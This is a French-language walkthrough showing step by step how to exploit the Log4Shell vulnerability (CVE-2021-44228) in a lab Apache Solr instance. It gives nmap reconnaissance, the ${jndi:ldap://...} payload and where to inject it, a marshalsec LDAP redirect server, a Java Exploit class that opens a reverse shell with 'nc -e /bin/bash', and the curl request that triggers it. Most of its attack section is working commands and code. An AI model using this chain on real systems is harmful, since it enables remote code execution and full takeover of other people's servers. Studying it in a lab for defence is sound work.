Vulnérabilité Log4j - CVE-2021-44228 📗

• Introduction

Cette vulnérabilité a été découverte le 9 décembre 2021, identifiée sous le nom CVE-2021-44228, elle affecte le package de log Java, générant un score de sévérité (CVSS) de 10 points, permettant une exécution à distance sur l'hôte. Cette vulnérabilité est connue dans la communauté de la sécurité sous le nom de LOG4SHELL.

si vous souhaitez une liste des éditeurs de logiciels affectés par la vulnérabilité LOG4J, consultez le dépôt ci-dessous ;

GitHub/Log4jAttackSurface

• Reconnaissance

Pour démontrer ce type d'attaque, nous disposons d'un hôte avec la version vulnérable (Apache Solr 8.11.0) du package log4j avec Java 1.8.0_181.

Commencez par une reconnaissance de base pour comprendre quels ports sont ouverts sur cette machine en utilisant l'outil nmap (ou tout autre de votre choix).

nmap -v -p- poc.log4j - Hôte vulnérable

Dans ce cas, 3 ports ouverts ont été trouvés. Affinons notre nmap, en indiquant uniquement les ports ouverts et la commande -sV (Retourne la version de l'application du port)

nmap -v -p22,111,8983 -sV poc.log4j

Nous avons probablement un Apache qui tourne sur le Port 8983. Ci-dessous, nous pouvons confirmer l'Apache ; cette instance d'Apache Solr est provisionnée sans aucune donnée. C'est une installation plate, standard et absolument minimale.

• Preuve de concept 📚

Le principal vecteur d'attaque pour log4j est dans le journal d'application ; si nous regardons l'écran Solr, nous pouvons voir le journal activé dans Dsolr.log.dir.

Notez que le point de terminaison URL que vous venez de découvrir doit être précédé du préfixe solr/ lorsqu'on le visualise depuis l'interface web. Cela signifie que vous devez visiter :

http://poc.log4j:8983/solr/admin/cores

• pourquoi /admin/cores ❓ 💬
  Ici, nous trouvons la vulnérabilité qui peut être exploitée. C'est un appel qui reçoit une variable (params={}) à exécuter ; nous pouvons manipuler cette entrée et envoyer notre payload. Ci-dessous, nous pouvons voir un journal généré par Apache en appelant cette URL /admin/cores.
  

Le format de la syntaxe habituelle qui exploite cela ressemble à ceci ;

${jndi:ldap://ATTACKERCONTROLLEDHOST}

Cette syntaxe indique que log4j invoquera des fonctionnalités de "JNDI", ou "Java Naming and Directory Interface". En fin de compte, cela peut être utilisé pour accéder à des ressources externes, ou "références", ce qui est exploité dans cette attaque. Notez le schéma ldap://, cela indique que la cible contactera un point de terminaison (un emplacement contrôlé par l'attaquant, dans le cas de cette attaque) via le protocole LDAP.

Où pouvons-nous entrer cette syntaxe ldap ?

Vous pouvez simplement fournir des variables ou paramètres HTTP GET qui seront ensuite traités et analysés par log4j. Il suffit de cette seule ligne de texte -- et cela rend cette vulnérabilité extrêmement facile à exploiter.

Autres endroits où vous pourriez fournir cette syntaxe JNDI :

• Champs de saisie, formulaires de connexion utilisateur et mot de passe, points de saisie de données dans les applications.
• En-têtes HTTP tels que User-Agent, X-Forwarded-For, ou d'autres en-têtes personnalisables.
• Tout endroit où des données fournies par l'utilisateur sont acceptées.

L'hôte est-il vraiment vulnérable ?

Dans cette étape, après avoir découvert une version de log4j sur l'hôte cible, nous devons la tester et voir si cette version est vulnérable.

Nous ouvrons le port 6666 sur l'hôte attaquant.

nc -vnlp 6666

Effectuez une requête incluant cette syntaxe de payload JNDI primitive dans les paramètres HTTP. Cela peut être facilement fait avec l'utilitaire en ligne de commande curl.

Lors de l'exécution du payload, nous obtenons le retour dans notre netcat sur le port 6666. 🙌

À ce stade, vous avez vérifié que la cible est effectivement vulnérable en voyant cette connexion captée par votre écouteur netcat. Cependant, elle a effectué une requête LDAP... donc tout ce que votre écouteur netcat a pu voir, ce sont des caractères non imprimables (des octets étranges). Nous pouvons maintenant construire sur cette base pour répondre avec un véritable gestionnaire LDAP.

Explorons 🤘

Comme nous l'avons vu dans curl ci-dessus, nous avons pu utiliser le protocole LDAP pour recevoir une requête dans notre NC. Cependant, comme nous utilisons un autre protocole, nous sommes incapables de visualiser ou de manipuler la réponse.

L'étape suivante consiste à créer un serveur LDAP pour pouvoir gérer les requêtes, allons-y !

• Pour accélérer cette POC, nous allons utiliser l'utilitaire déjà prêt sur https://github.com/mbechler/marshalsec
• Nous devons utiliser Maven pour utiliser le script marshalsec. Maven disponible avec apt install maven
• Dans le dépôt marshalsec, commencez avec Maven mvn clean package -DskipTests
• Après avoir construit le jar, nous pouvons démarrer le serveur LDAP pour rediriger les requêtes

Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

Préparation de l'exploit

Nous laisserons le serveur LDAP en cours d'exécution et créerons le script pour explorer le serveur.

• Ci-dessous se trouve l'exploit que nous allons utiliser. Il est écrit en Java. Créez un fichier Exploit.java avec la classe ci-dessous.

#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

• Compilons l'exploit avec javac Exploit.java -source 8 -target 8. Le fichier Exploit.class sera créé.

• Avec l'exploit prêt, hébergeons-le sur le serveur Python python3 -m http.server.

• Ouvrons un port avec NC pour recevoir la commande bash java que nous avons créée précédemment. Nous créons un nouveau nc -lnvp 9999.

• Mettons tout en marche ! Faisons un CURL forçant le serveur à chercher notre exploit sur le port 8000 que nous avons créé avec Python.

curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'

• Fait ! 👏 Nous avons le contrôle total du serveur.

D'accord, mais comment tout cela s'est-il produit ❓

• Ci-dessous un exemple simple du flux d'exploration.